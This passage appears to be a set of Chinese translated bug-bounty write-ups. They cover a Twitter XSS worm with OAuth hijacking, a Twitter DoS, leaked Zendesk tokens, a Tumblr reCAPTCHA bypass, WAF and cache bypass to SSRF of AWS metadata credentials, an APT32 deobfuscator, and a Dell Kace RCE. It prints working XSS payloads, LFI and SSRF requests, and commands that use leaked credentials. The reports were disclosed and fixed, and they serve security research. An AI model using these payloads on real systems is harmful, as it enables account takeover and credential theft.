为了实现这一点,攻击者可以在某个iframe元素中加载 “https://twitter.com/oauth/authorize?oauth_token=[token]” 链接,自动提交该链接页面中的验证表单(其中包含如 `oauth_form`的ID属性),就能在随后的身份窃取中起到作用。

最终,基于上述一大堆的传播功能构造,加入这种带有身份窃取功能的隐蔽XSS Worm分阶段运行如下:

1、发送带有下面这个Payload的推文并获取其推文ID:

</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>

2、发送另一条推文并获取其推文ID:

</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>

3、发送第三条推文作为身份窃取劫持的Payload,这条推文综合了第一二条推文,并应用到了同一个页面链接中:

</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

一旦Twitter受害者打开加载第三条推文后,攻击者控制的第三方恶意应用就能获取受害者的Twitter身份信息,实现账户劫持。要注意的是,”oauth_token”只能被进行一次身份验证,且其有效期非常短。但对一些不懈的攻击者来说,只要发送大量推文,就能劫持到很多用户权限。

最为重要的是,攻击者还可以利用改造XSS Worm,强迫用户在Twitter上加载任意页面,点击任意按钮,提交任意表单等等恶意行为。

漏洞上报进程

2018.4.23   绕过过滤措施的XSS漏洞初报

2018.4.25   漏洞分类处理

2018.4.27   Twitter给出$2,940的奖励

2018.5.4     XSS漏洞修复

2019.4.7     我上报了CSP绕过漏洞

2019.4.12    考虑到XSS Worm的严重性,我直接给Twitter工程师发了write-up专报

2019.4.12    Twitter要求我待修复后再公开漏洞

2019.4.22   Twitter修复了CSP绕过漏洞并同意我进行漏洞公开

2019.5.2     我对漏洞进行了公开

*参考来源:virtuesecurity,clouds编译,转载请注明来自FreeBuf.COM 

247842-3kQUCf1465652976.jpg大家好,今天分享的这个writeup是关于Twitter的一个Dos漏洞,利用该漏洞,只需发送一条推特朋友圈,就可以触发Twitter后端服务器解析错误,导致你和你的粉丝账户无法刷新推特朋友圈。

从XSS入手打开切口

DoS攻击一般是指针对某一类型资源(如网站、应用程序或服务器)的特定请求攻击,攻击可以造成该资源服务失效,甚至功能瘫痪。

刚开始,我原本打算去尝试发现Twitter移动官网(mobile.twitter.com)上的XSS漏洞,但却一无所获。但后来,我登录进Twitter移动官网,开启了一个对话框进行测试,在其中反复发送了各种Payload,想获得一些有效的XSS解析响应。以下是我的一个大致思路过程:

我注意到,用户在Twitter中发送任意URL链接时,Twitter会用自身短网址服务把用户的发送URL链接转变为“t.co”前缀域名样式,这是正常情况。短网址服务是Twitter为保护用户免受恶意链接威胁而引入的,有点类似Facebook的重定向跳转保护服务Linkshim。但是,当你用“twitter.com”子域名或是“mobile.twitter.com”网站来发送URL链接时,却不会生成“t.co”前缀域名样式,哦,这……。

这就有点意思了,因为大多现代Web技术网站针对用户的连续操作请求,为了增加用户体验和响应效率,都不会重新通过服务器加载整个页面,而是经由异步通信方式的AJAX或XMLHttpRequests在后台执行请求,实现轻量级请求交互。就比如说,当你从Twitter网站系统之外的地方,试图去访问https://mobile.twitter.com/notifications这个链接,此时,Twitter后端服务器确实是需要完整地加载这个页面;但如果你从Twitter网络系统内部来访问这个链接,Twitter后端服务器却只通过某些javascript脚本就能实现渲染加载,而不需要执行整个页面的加载。

所以,从这个点来讲,我原先构造的XSS漏洞发现思路是,希望在Twitter网站系统内部,通过发送一条属于Twitter自身网站URL且包含XSS Payload变量的消息。

XSS漏洞到Dos漏洞的发现

我一开始构造的XSS Payload链接是这样的:

https://mobile.twitter.com/?‘”><img/src=x/onerror=alert(1)>

我猜想,如果在Twitter网站系统之外,可能不会生效,但如果在Twitter网站系统内部,因加载方式不同可能会触发一些不同的东西。所以,围绕这类XSS Payload我就反复进行发送测试。

后来,我发现,其中包含有“%u003e”的一个XSS payload竟然会导致一个Twitter服务错误!而且这个错误会让我看不到任何Twitter的会话消息!这就更有意思了!为什么呢?

这个十六进制的%u003e经Urldecode后明显是大于符号 >,但是,Twitter却无法对它进行解析处理!之后,我又尝试了包含 “%xx” 等样式的URL链接进行发送,简单地就像https://mobile.twitter.com/%xx,这下又来了,还是产生了同样的错误!

我猜测,%xx不是一个有效的十六进制值,可能Twitter后端想尝试对它进行匹配解析,但是却在其内部服务中找不到%xx的对应解析值,所以,每当用户请求包含%xx且属于Twitter网站的URL链接时,Twitter后端就抛出这个错误。

基于此,我就想那我用这个包含%xx的链接 https://mobile.twitter.com/%xx 来发条推特朋友圈吧,可能大家无法想像,这简直让我吓掉了下巴!包含这条链接的朋友圈一发出去,我的朋友圈就刷不出来了,而且,连我Twitter账户中的粉丝也都无法刷新朋友圈了!注意,这里是Twitter移动官网(mobile.twitter.com)的情况,那么,Twitter主站会有这种情况吗?

拭目以待,但是,经测试,Twitter主站不存在上述情况,现在怎么办呢?有没有其它变通方法?哈哈,经过一番研究,我发现,可以以下通过链接 – https://twitter.com/i/onboarding/verify ,强制把电脑显示界面强制转换为手机显示界面!步骤为:

1、在电脑端登录Twitter账户;

2、在当前浏览器页面中粘贴进https://twitter.com/i/onboarding/verify,访问;

3、点击随后弹框出现的 “Got it” 按钮;

4、现在,你就处于手机显示界面了。

参照Twitter移动官网的测试方法,经测试,用链接https://twitter.com/%xx发了朋友圈之后,当前我自己账户的朋友圈和我账户中粉丝的朋友圈也都无法刷新了!PoC漏洞验证视频如下:

演示视频:

最终,我把漏洞上报后,经Twitter官方确认,这是一个影响*.twitter.com,且算严重的Dos漏洞,所以Twitter给了我$1,120美金奖励。漏洞详情,参见Hackerone报告 – https://hackerone.com/reports/500686

*参考来源:seekurity,clouds编译,转载请注明来自FreeBuf.COM

zendesk_logo_on_green_rgb.png本文中,Assetnote发现了厂商Zendesk公司泄露在GitHub上的信息,该信息包含了可远程访问Zendesk网络资产的相关密码凭据,可以访问Zendesk公司的大量代码项目和网络资产,影响严重。

Assetnote公司简介

Assetnote是一家澳大利亚初创型安全公司,主要业务为识别消除目标客户网络攻击面。Assetnote产品研发部门下专门有一支团队负责监测分析企业型数据泄露事件,该团队主要通过GitHub、PasteBin 和 Trello等第三方平台应用来识别一些组织机构的信息泄露,案例显示,一些机构个人或承包商会在这些第三方平台中无意泄露包括凭据、源码甚至是原始的客户个人信息等敏感数据。

目前,Assetnote的数据泄露监测团队开发了一种名为第三方平台泄露监测(“ Third-Party Platform Exposure”,TPPE)的模块,并把它应用在了Assetnote的持续安全平台中,迄今为止,该模块在一些公开的漏洞众测中表现不俗,相继发现了多例严重的泄露事件。

Zendesk泄露在GitHub上的 Google Cloud 和 Artifactory 凭据

2月15日,我们的TPPE模块检测到了两个包含有Zendesk配置文件(dotfile)的公开代码仓库,其中一个仓库为便于开发人员对命令行界面CLI和开发工具包SDK的使用进行相关配置。

针对第一个代码仓库,TPPE模块分析报告称,其中存在两种格式的密码凭据信息,一种为Jfroge的仓库服务端软件Artifactory的token凭据,另一种为Google Cloud的传统密码(“legacy-credentials”)相关文件夹。

Jfroge的Artifactory 是一款Maven仓库服务端软件,可以用来在内网搭建maven仓库,供公司内部公共库的上传和发布,以提供公共代码使用的便利性。

经过分析,我们发现这两种密码凭据是有效存在的,甚至可以通过其中列出的信息,结合泄露的用户名和Artifactory token,对环境变量给出的目标主机发起请求:

export ARTIFACTORY_KEY="<REDACTED>”;  # For HTTP repository access
export ARTIFACTORY_USERNAME="<REDACTED>";
curl u $ARTIFACTORY_USERNAME:$ARTIFACTORY_KEY https://<REDACTED>/artifactory/api/build
Response:
{
    "uri": "http://<REDACTED>/artifactory/api/build"

另外,我们还继续验证了其中的Google Cloud凭据。虽然直接用传统的密码格式,结合cURL方式发起对Google Cloud API的身份验证请求微显复杂,但我们发现,可以简单地把代码仓库中的gcloud配置文件夹部署在我们本地的shell环境中,这也意味着,我们就能像正常用户一样去使用其中的gcloud命令界面了。如下:

[email protected]:~|⇒  cp <REDACTED>/.config/gcoud ~/.config/gcloud
[email protected]:~|⇒  gcloud projects list
PROJECT_ID                            NAME                           PROJECT_NUMBER
...
<REDACTED>                       Bime development                <REDACTED>
<REDACTED>                       Bime preproduction                   <REDACTED>
<REDACTED>                       Bime production               <REDACTED>
…
<REDACTED>                  Zendesk Authentication  <REDACTED>
…
<REDACTED>                    Voice Production             <REDACTED>
…
<REDACTED>                       Zendesk Billing               <REDACTED>
...

用泄露的Google Cloud凭据,可以访问Zendesk公司150多个代码项目,只是为了保密,我们隐去了(REDACTED)具体的项目名称。

对不熟悉Google Cloud使用的人来说,删除掉一些敏感信息或添加授权用户的SSH密钥来管理SSH也是非常简单的,这样做,你可以用SSH方式来授权访问某些实例,如下:

gcloud compute ssh <instance>

在此期间,我们没有利用泄露凭据对一些具体实例进行连接,后经分析,其中存在一些可以上述命令访问的外部可访问实例。

针对第二个代码仓库,我们的监测模块高亮显示了这种不同类型的token,它与Artifactory token类似。经过测试分析,我们确定这些token信息仍然有效:

export ARTIFACTORY_USERNAME="<REDACTED>"
export ARTIFACTORY_API_KEY="<REDACTED>"
curl -i -u $ARTIFACTORY_USERNAME:$ARTIFACTORY_API_KEY https://<REDACTED>/<REDACTED>/artifactory/api/
{
...

我们经由HackerOne平台上报了以上发现的漏洞,之后,Zendesk给予了确认,并在12小时内迅速撤销了以上两个代码仓库泄露的所有token信息。基于泄露信息的严重性,Zendesk最终以每个代码仓库中泄露的token信息为一个漏洞,慷概地以奖励了我们 $6,000。

#496414 – Leaked artifactory_key, artifactory_api_key, and gcloud refresh_token via GitHub

#496925 – Leaked artifactory_api_key via GitHub

经验总结

以上两个代码仓库都是无意泄露了重要的token凭据信息,这种案例时常在各大公司企业中发生。大家可以看看这个价值$15,000的Snapchat Github Token泄露漏洞。

这样的问题不可能完全杜绝,对于我们企业来说,需要在开发中做好严格的安全检查,在后期管理维护中持续监测关注。对于赏金猎人来说,一些公开工具,像 michenriksen/gitrob都是非常不错的,可以用它来检查具体仓库中的信息泄露问题。当然,除了密码凭据之外,我们还可以去发现 GitHub 中一些非常有价值的泄露信息。

*参考来源:assetnote,clouds编译,转载请注明来自FreeBuf.COM

大家好,本文分享的writeup是作者通过在Tumblr用户注册过程中,发现Tumblr的“人机身份验证”机制(reCAPTCHA)存在缺陷,可被轻松绕过。这种绕过形成的安全风险是恶意攻击者可进行大量虚假社交账户创建、进行针对账户的用户名和邮箱枚举,间接导致Tumblr网站应用出现流量异常甚至用户信息泄露。

maxresdefault.jpg

我对漏洞众测的理解和经历分享

去年6月16日,HackerOne在伦敦举办的黑客马拉松大赛中,为发现漏洞支付的赏金有超过了8万多美金。漏洞众测确实是个未来可期的行业,对众测平台来说,有组织给赏金的测试活动,即可以激励安全研究人员发现漏洞,也能提高上报漏洞质量,还能把详细的漏洞信息转发给厂商进行及时修复。

安全是门复杂的学问,即使是大公司也难免犯错。企业在面对的内部资源和外部攻击者之间,往往存在不定的安全风险,而漏洞众测恰好可以很好地弥补其中存在的安全空白。如果你的组织机构无法从内部培养或选拔出高质量且多样化的安全测试人员,那么就可以借助外部的众测项目或咨询服务等方式,来进行安全产品或相关系统的测试和漏洞发现。

就我个人来说,在众测过程中也遇到过一些不好的经历。我曾给Myspace上报过一个访问任意账户的高危漏洞,但在我与Myspace的冗长协商过程中,他们简直就是漠不关心的态度,最终我选择了公开漏洞(点此阅读)。该漏洞影响将近3.6亿多个用户帐户,我寄希望于能通过公众压力来促使漏洞修复,这种行为也是迫不得已。

而相反的是,我曾发现了Tumblr公司的一个reCaptcha验证码绕过漏洞,从Twitter方式上报给他们后,他们就直接私信我进行交流,只经过了两天漏洞就得到修复。以下就是我对该漏洞发现过程的分享。

Tumblr的reCaptcha验证码绕过漏洞

在我访问www.tumblr.com进行用户注册时,发现其中嵌入的谷歌reCAPTCHA验证码服务存在一个错误配置漏洞,那就是由客户端和应用发送的reCAPTCHA验证码请求中,其中名为‘g-recaptcha-response’ 的参数值可以置空。该漏洞会对所有新注册用户产生影响,且不需要什么特别的工具进行利用,只需手动地点击网站上出现的按钮,或是通过抓包代理发起修改即可。

漏洞影响

通常来说,Captcha机制如果运行部署合理,是具有速率限制作用的(Rate Limiting),可以用其来防止垃圾用户创建虚假社交账户,减少特定应用的请求量。我发现的这个Tumblr页面reCAPTCHA验证码绕过漏洞,可以被攻击者用来创建虚假账户;另外由于Tumblr的用户注册机制只允许注册邮箱绑定一个用户名,所以,也可以利用该漏洞进行针对用户邮箱和用户名的暴力枚举攻击,反复大量的枚举可以导致Tumblr的用户注册信息泄露。

漏洞复现

我们先来看www.tumblr.com页面中正常的账户创建过程,首先来到登录页面https://www.tumblr.com/login,点击右上角的注册按钮“Sign up”:

01.jpg然后就跳转到了账户注册页面 https://www.tumblr.com/register :

02.jpg接着,点击开始按钮 ‘Get Started’,之后就会出现一些必填选项,包括用户名、密码和邮箱:

03.jpg完成以上必填项之后,还要输入年龄和勾选服务条款须知:

04.jpg接下来,就会跳出一个“人机身份验证”(reCAPTCHA )页面:

05.jpg

06.jpg除了这么一个“人机身份验证”(reCAPTCHA )选项部署在这里,其下方还有一个选项“完成了”(Almost Done!)。搞笑的是,虽然通常来说需要完成“人机身份验证”才能进行下一步,但是,经我测试发现,可以直接不用勾选“人机身份验证”中的 “I’m not a robot”,直接点击下方的“完成了”(Almost Done!)即可完成这里所谓的“人机身份验证”,就直接进入下一步到用户的Tumblr主页。这种“人机身份验证”(reCAPTCHA )部署在这里是当摆设的吗?

07.jpg08.jpg抓包分析

为了深入分析,我们用Burp来看看用户在“人机身份验证”(reCAPTCHA )这一步发起具体的请求和响应。

发起“人机身份验证”时的POST请求如下:

09.jpg仔细查看上述POST请求可以发现,其中的recaptcha质询是一个名为‘g-recaptcha-response’的参数值,也就是上图中的红字部分。但如果我们把这个参数值置空,也等同于就不去勾选它,会发生什么情况?这样构造的POST请求如下:

10.jpg后经测试发现,Tumblr服务器端对以上两种POST请求都返回了相同且有效的响应:

11.jpg当然也就是说,Tumblr服务器端直接就是忘记了检查‘g-recaptcha-response’ 参数的值,才导致了上述的“人机身份验证”(reCAPTCHA )机制被绕过。

尽管很多网站应用都要求用户群的高度可信,但类似这种验证绕过漏洞在这些网站中也很常见。这不,前不久Google才刚刚修复了一个可完全绕过 reCAPTCHA 的漏洞

*参考来源:leigh-annegalloway,clouds编译,转载请注明来自FreeBuf.COM

大家好,今天分享的writeup是作者在针对印度最大的股票经纪公司进行安全测试时,通过不同层面的绕过技巧(Bypass),最终获取到该公司AWS密码凭据的过程。其中用到了WAF绕过,以及进一步的Web Cache绕过,实现SSRF攻击,最后获取到了目标系统的AWS密码凭据。(本文的发表已经获得该股票经纪公司许可)。

stock-market.jpg

发现WAF防护

测试刚开始,我注意到目标系统的一个服务路径(Endpoint)会与一些后台的文件系统进行交互,因此接下来我就自然而然地测试了本地文件包含漏洞(LFI),之后发现,目标系统应用受Cloudflare WAF防火墙保护。如下:

01.pngCloudFlare是一家提供DNS、WAF和DDOS防护的云安全供应商,由它提供的安全服务可以很好地隐藏目标网站的真实IP并发挥CloudFlare的安全过滤能力,对目标网站系统起到保护作用。通常,攻击者在不知道服务器真实IP的情况下,很难直接对目标系统发起攻击。但是,攻击者也经常会以一些间接方法发现目标网站真实IP,以此来绕过CloudFlare WAF(更多CloudFlare WAF绕过案例请自行百度)。

基于这种部署架构的Web应用服务器来说,客户端发起对应用的请求,要经过CDN、WAF或负载均衡等中间层代理设备,才能真正地到达后端服务器中。所以,本质上看,如果知道目标系统真实IP,我发起的请求不在后端负载均衡或服务器过滤白名单之列,那么就能直接与应用的后端服务器进行交互了,这样就能绕过CloudFlare WAF了。逻辑如下:

02.png

绕过WAF防护但遇上又缓存服务(Web Cache)

当然了,这里我们要来先发现目标应用系统的真实IP,我简单地执行 “dig www.readacted.com” 命令,竟然就找到了:

03.png之后,我在本地的hosts文件中,增加了一条真实IP和其域名对应的条目,查看域名访问的变化情况,貌似是可行的,那么,我们结合上面的LFI漏洞情况来试试密码读取。当在URL后加上/etc/passwd命令执行后,竟幸运地得到了以下的有效响应:

04.png所以,就这样,我就轻易地绕过了CloudFlare WAF并实现了LFI漏洞攻击。接下来,我Whois了该真实IP后发现,它是一个AWS服务架构。思路到了这里,我认为下一步的目标就是,看看能否实现SSRF进而读取出其中的AWS账户密码凭据。因为按AWS的特定页面或URL功能部署来看,是可能获取到相应的账户密码信息的,但愿如此。不多啰嗦,我立马以该目标应用系统身份,在URL链接之后,针对AWS官方的实例元数据实例 – http://169.254.169.254/latest/meta-data/,发起了一个GET请求,如下:

05.png应用后端服务器对该请求的响应是 200 ok,但响应内容却是空的,如下:

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Apr 2019 14:32:48 GMT

Content-Type: text/css;charset=UTF-8

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=15552000

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Proxy-Cache: HIT

Content-Length: 0

这表明交互确实发生了,但为什么响应是空的呢?查看以上响应消息,可以发现,其中的server header为“nginx”,另外还有一个值为HIT的X-Proxy-Cache。也就是说,我们发起的请求遇到了中间的Nginx缓存服务,然后该缓存服务向我们响应了空消息。

绕过Web Cache实现SSRF获取AWS密码凭据

所以,从这种情况来看,为了获取到真实的应用服务端响应,就必要绕过这个Nginx缓存服务。为此,我还进一步了解了Nginx缓存的URL页面缓存规则。

https://www.digitalocean.com/community/tutorials/how-to-implement-browser-caching-with-nginx-s-header-module-on-centos-7

https://www.howtoforge.com/make-browsers-cache-static-files-on-nginx

经过学习之后,我了解到通常的缓存服务是以URL路径路由为基础的,所以,如果请求的URL为:https://somewebsite.com/a.html,且与缓存规则中的路由路径相匹配,那么,它就会被引入缓存服务中,从其中获取响应。但如果请求URL为:https://somewebsite.com/a.html?,且与缓存规则中的路由路径不匹配,那么该请求就会会经由缓存服务,而是会直接从后端的应用服务器中获取响应。因此,我在读取AWS官方的实例元数据的请求末尾也加上了一个“?”问号(当然其它符号也可以),如此- http://169.254.169.254/latest/meta-data?,这样这种请求就不符合Nginx中的缓存匹配规则了。那我们来看看这样的请求,后端的应用服务器会不会给出响应。

http://169.254.169.254/latest/meta-data?为从运行实例内部查看所有类别的实例元数据请求:

06.png心动的是,后端应用服务器确实给出了响应,且列出了目标系统运行实例内部的所有元数据:

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Apr 2019 14:32:48 GMT

Content-Type: text/css;charset=UTF-8

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=15552000

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Proxy-Cache: MISS

Content-Length: 315

ami-id

ami-launch-index

ami-manifest-path

block-device-mapping/

events/

hostname

identity-credentials/

instance-action

instance-id

instance-type

local-hostname

local-ipv4

mac

metrics/

network/

placement/

product-codes

profile

public-hostname

public-ipv4

public-keys/

reservation-id

security-groups

services/

仔细观察上述响应消息,其“X-Proxy-Cache” 值为MISS,也就是说,我们发起的请求没有经由Nginx的缓存服务层,它是直接从后端应用服务器获取响应的。

这样来看,我已经可以绕过缓存服务来实现SSRF攻击了,那么,按照AWS的实例元数据机制,我们来看看它能不能读取后端应用服务器中的AWS密码凭据。为此,我们让后端应用服务器发起针对以下AWS实例的请求:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?

该请求适用于 向 Amazon EC2 基础设施的其余部分标识出运行实例的凭据信息。不出意外,果然我们就成功地读取到了其中的密码凭据了:

07.png其中包括了目标系统的AWS访问ID,访问密码和token值,利用它们我可以以其AWS账户身份远程登录目标应用系统中的AWS资产,获取其中的重要数据信息。总结来说,我是先通过绕过Cloudflare WAF发现目标应用服务器的真实IP,然后,利用LFI和缓存服务绕过提权执行SSRF攻击,最终获取了目标系统中的AWS密码凭据信息。还真是一次有意思的测试过程!

漏洞上报进程

2019.4.6  —  漏洞初报给公司

2019.4.7 —  公司着手修复漏洞

2019.4.7  —   我确认漏洞修复

2019.4.7  —  漏洞赏金发放

*参考来源:medium,clouds编译,转载请注明来自FreeBuf.COM

“海莲花” APT木马本文中,CheckPoint研究人员基于对“海莲花” 木马程序的分析,编写了一段绕过其混淆技术的反混淆工具-APT32GraphDeobfuscator.py,在逆向分析过程中,利用该工具,最终可以消除混淆指令,清晰地显示出“海莲花” 木马的运行调用流程,对木马分析和相关安全研究人员有借鉴帮助之用。

“海莲花” APT组织(APT32),具备越南背景的APT攻击组织,以东亚国家为主要目标,以在越外企和目标国家特定机构为主要渗透对象。就目前的各家分析报告来看,“海莲花” 利用的网络工具和相关技术非常广泛多变,其中有高级的漏洞利用手段,也有非常简单的恶意工具,有自研的攻击组件,也有商业和开源的代码套装,如Mimikatz 和 Cobalt Strike。利用捆绑木马的文件为诱饵,从其中的 droppers或shellcode中释放或运行主要的恶意程序。

经多个测试分析案例可见,“海莲花” 组织利用的木马程序和相关工具都经过了复杂的混淆编码,为了阻止或迷惑逆向分析人员,在其中添加了各种“障眼”的混淆技术,经验老道。

该反混淆工具需要基于开源逆向分析工具radare2的界面框架 Cutter,Cutter是跨平台工具,目的就是以界面方式直观友好地显示 radare2的分析原理。上个月,Cutter 官方引入了一个新的Python插件,CheckPoint也将在下面的反混淆工具编写中用到该工具。(想查看该工具,请直接到以下“反混淆脚本”部份)

下载安装 Cutter

大家可以选择从这里下载最新版本的Cutter,如果你用的是Linux系统,可以使用应用镜像方式下载安装。Cutter最终的运行界面如下:

“海莲花” APT木马

“海莲花” APT组织使用的木马

首先,我们来看看“海莲花” 组织使用的木马和相关程序样本,这里这个样本486be6b1ec73d98fdd3999abe2fa04368933a2ec,是木马感染链中的一个恶意程序,也是CheckPoint在最近才捕获发现的,其所有的运行特征和“海莲花”组织高度相似,尤其是和早期的恶意诱饵文档115f3cb5bdfb2ffe5168ecb36b9aed54非常接近。在早期的恶意诱饵文档中,“海莲花”组织在捆绑的木马中包含了一段VBA宏代码,用它来向受害者系统的rundll32.exe进程中注入了恶意shellcode,该shellcode中又包含了用于后续解码和向内存中反射加载dll文件的解码程序段,加载进内存的dll文件中就包含了木马的一个大概运行逻辑流程。

在后续感染阶段,木马会从相关文件资源中解码出一个配置文件,该配置文件存储了诸如C2服务器等木马运行反弹信息。接下来,相关程序段会尝试用定制的PE loader往内存中加载一个辅助DLL,该DLL名为HTTPProv.dll,能实现与C2服务器的通信。

“海莲花” 组织在其木马程序使用了大量的混淆技术,尤其是大堆大堆的花指令(Junk Code),这些花指令经常让木马分析人员迷失方向。另外由于逆向工具大多时候都只认栈指针,不能自动识别一些无关函数,所以也就造成了我们在逆向分析中的难度。

“海莲花” APT木马的混淆技术

在我们对“海莲花” 木马的逆向分析中可见,其中一个主要混淆技术就是,在相关运行函数中大量插入使用花指令(Junk Code)形成控制流混淆,这些插入的花指令基本都是毫无意义的代码块。如下:

“海莲花” APT木马在上图中,几乎整个代码块都充满了花指令,当然能完全忽略这些花指令块就好了,但是实际分析中还是相对较难。仔细分析这些花指令块,我们也能发现一些有意思的地方,这些混淆块都是由前一个块的失效跳转而来,且都是条件跳转。而且,每个混淆块都以一个条件跳转结束,这种条件跳转与前一个混淆块的跳转相反。比如说,上图代码块中的末尾跳转条件为 jo <some_addr>,则其混淆块就会以 jno <some_addr>结尾;如果上图代码块以 jne <another_addr> 结尾,则其接下来的混淆块就会是以 je <another_addr>结尾。示例如下:

“海莲花” APT木马基于上述分析判断,我们可以开始构建这些混淆块的特征,混淆的第一个特征是出现两个连续的块,而且,它们以相反的条件跳转到相同的目标地址而结束。另一个特性要求第二个块不包含有意义的指令,如字符串引用或调用。

当满足这两个特征时,我们可以说第二个块很有可能是混淆块。在这种情况下,我们希望第一个块跳过第二个混淆块,这样混淆块就会从我们的逆向分析流程图中消失。这种情况下,我们可以用无条件跳转,也就是简单的JMP指令,来替换其中的条件跳转实现混淆块绕过。如下:

“海莲花” APT木马

反混淆脚本(Deobfuscator)

我们基于Cutter编写了反混淆脚本- APT32 Graph Deobfuscator ,它可以形成一个插件(Plugin)导入Cutter插件库,同时它可通过r2pipe方式与radare2进行命令行交互。

把该脚本形成插件导入Cutter插件库:

“海莲花” APT木马“海莲花” APT木马以APT32某恶意程序逆向过程中的fcn.00acc7e0函数为例,一开始逆向工具分析运行调用流程图中,混淆指令块为以下高亮红色部分:

“海莲花” APT木马用CheckPoint编写的APT32 Graph Deobfuscator进行反混淆之后,我们得到以下去混淆的运行调用流程图:

“海莲花” APT木马以下是去混淆前后的对比流程图,非常直观:

“海莲花” APT木马

总结

“海莲花” APT组织使用的木马混淆技术并不是非常复杂难以破解的,本文中CheckPoint基于样本分析,提出了一种反混淆解决方案,以Cutter和Radare2为框架,利用Python脚本,最终成功实现了对“海莲花” APT木马的反混淆,大大方便了逆向分析人员进一步对“海莲花” APT木马的深入剖析。

*参考来源:checkpoint,clouds编译,转载请注明来自FreeBuf.COM

本文分享的writeup是关于Dell Kace K1000管理应用的一个未授权远程代码执行漏洞(RCE),作者于2018年9月在HackerOne和厂商Dropbox共同举办的H1-3120黑客马拉松大赛中发现了该漏洞,漏洞的发现和利用过程相对简单,但前期的侦查踩点过程却颇费心思。最终凭借该漏洞,作者获得了H1-3120大赛的“最具价值黑客”荣誉(MVH),并囊获了一笔不菲赏金。

漏洞简介

漏洞影响 Dell Kace K1000 v6.4.120756之前版本的应用程序,由于程序中的escapeshellarg方法函数存在可绕过隐患(Bypass),最终,可以利用该隐患在K1000应用中实现未授权的远程代码执行。因为测试厂商Dropbox用K1000 v6.3来管理其大量的客户服务端,所以理论上来说,可以利用该漏洞在所有Dropbox客户管理系统上实现RCE攻击。Dell在内部修复中把该漏洞编号为K1-18652,所以在此我们暂且也把该漏洞称为K1-18652。

escapeshellarg:把字符串转码为可以在 shell 命令里使用的参数,escapeshellarg ( string $arg ) : string,功能是将字符串$arg增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,以实现安全的转义输出。(PHP – escapeshellarg

前期踩点非常关键!

在H1-3120比赛现场,针对测试厂商Dropbox提供的目标系统,我发现了其中一个Dell Kace K1000 管理系统的登录界面:

于是,我就对Dell Kace K1000进行了信息收集,该系统此前为Dell旗下产品,现为Quest Software Inc公司拥有。这里有意思的是,Quest同时在其官网上提供了Kace K1000的试用版应用程序,但是,试用版应用只是最新的v9.0.270,与比赛现场在Dropbox环境中发现的版本完全不一样:

在比赛现场给出的测试目标中,Dropbox目标系统中的Kace K1000为v6.3.113397版本:

X-DellKACE-Appliance: k1000

X-DellKACE-Host: redacted.com

X-DellKACE-Version: 6.3.113397

X-KBOX-WebServer: redacted.com

X-KBOX-Version: 6.3.113397

所以,这样来看,在Kace K1000的最新版本和现场目标测试版本中,至少存在三个版本的间隔迭代。为此,我还用了社工手段,请求Quest客户支持中心是否能为我提供Kace K1000的v6版本程序,但是,最终却没有成功,可见我不是一个高明的社工黑客。。。

前期踩点非常关键!!

起初,我觉得Kace K1000的现场目标测试版本和Quest官网提供的最新版本之间差异肯定很大,因为这种大版本迭代一定存在很多的代码改动,但之后,我还是决定在Quest官网提供的v9最新版本身上做一些测试,看看它是否适用于v6的现场测试版本。

于是,我在测试环境中安装了Kace K1000 v9程序,准备进行一些分析。但老实说,刚开始,我并不抱太大希望。但最终事实证明,我还是太武断了。

前期踩点非常关键!!!

在安装了Kace K1000 v9程序的分析环境中,当对其源码进行分析时,我发现了一个有意思的文件 – /service/krashrpt.php,它可以无需授权验证就能访问,是专门用来处理崩溃的转储文件的。

仔细分析该文件,其中存在与漏洞K1-18652相关的隐患点。代码逻辑中,为了防止目录遍历,采用basename()方法返回参数kuid 和 name中的文件名部分,$values为用户端通过GET或POST提交的参数引用。如下:

try {

    // K1-18652 make sure we escape names so we don't get extra path characters to do path traversal

    $kuid = basename($values['kuid']);

    $name = basename($values['name']);

} catch( Exception $e ) {

    KBLog( "Missing URL param: " . $e->getMessage() );

    exit();

}

参数 kuid 和 name则用于后续的一个zip文件生成过程,如下:

$tmpFnBase = "krash_{$name}_{$kuid}";

$tmpDir = tempnam( KB_UPLOAD_DIR, $tmpFnBase );

unlink( $tmpDir );

$zipFn = $tmpDir . ".zip";

然而,漏洞K1-18652隐患处不仅引入了防止目录遍历问题的basename方法,另外,由于存在$tmpDir 和 $zipFn字符串,所以,它还采用了两个escapeshellarg函数调用以防止任意代码注入。如下:

// unzip the archive to a tmpDir, and delete the .zip file

// K1-18652 Escape the shell arguments to avoid remote execution from inputs

exec( "/usr/local/bin/unzip -d " . escapeshellarg($tmpDir) . " " . escapeshellarg($zipFn));

unlink( $zipFn );

早前有案例分析,由于 escapeshellarg 函数会在字符串外部添加单引号进行包裹,攻击者经过输入构造,可造成绕过漏洞。而这里的$kuid 和 $name参数在取值时就存在单引号形式 – ‘kuid’ 和 ‘name’,所以看似存在绕过风险,但经过测试,绕过是不可行的。也就是说,Dell Kace K1000 v9程序在此处是安全的。

敢于猜测尝试!!!

这样来看,即使Dell Kace K1000 v9版本程序采用了看似不安全的escapeshellarg 函数调用,但它在其中已进行过安全修复。基于早前的escapeshellarg绕过隐患分析,而对于现场目标系统的Dell Kace K1000 v6版本我仍不确定是否存在此隐患。但出于好奇,我还是针对v6版本程序,假设其中存在escapeshellarg 函数绕过隐患,最终编写出了以下RCE攻击方式的exploit对其进行了测试:

#!/usr/bin/python

# Exploit Title: Dell KACE Systems Management Appliance (K1000) <= 6.4.120756 Unauthenticated RCE

# Version:       <= 6.4.120756

# Date:          2019-04-09

# Author:        Julien Ahrens (@MrTuxracer)

# Software Link: https://www.quest.com/products/kace-systems-management-appliance/

# Write-up:      https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/

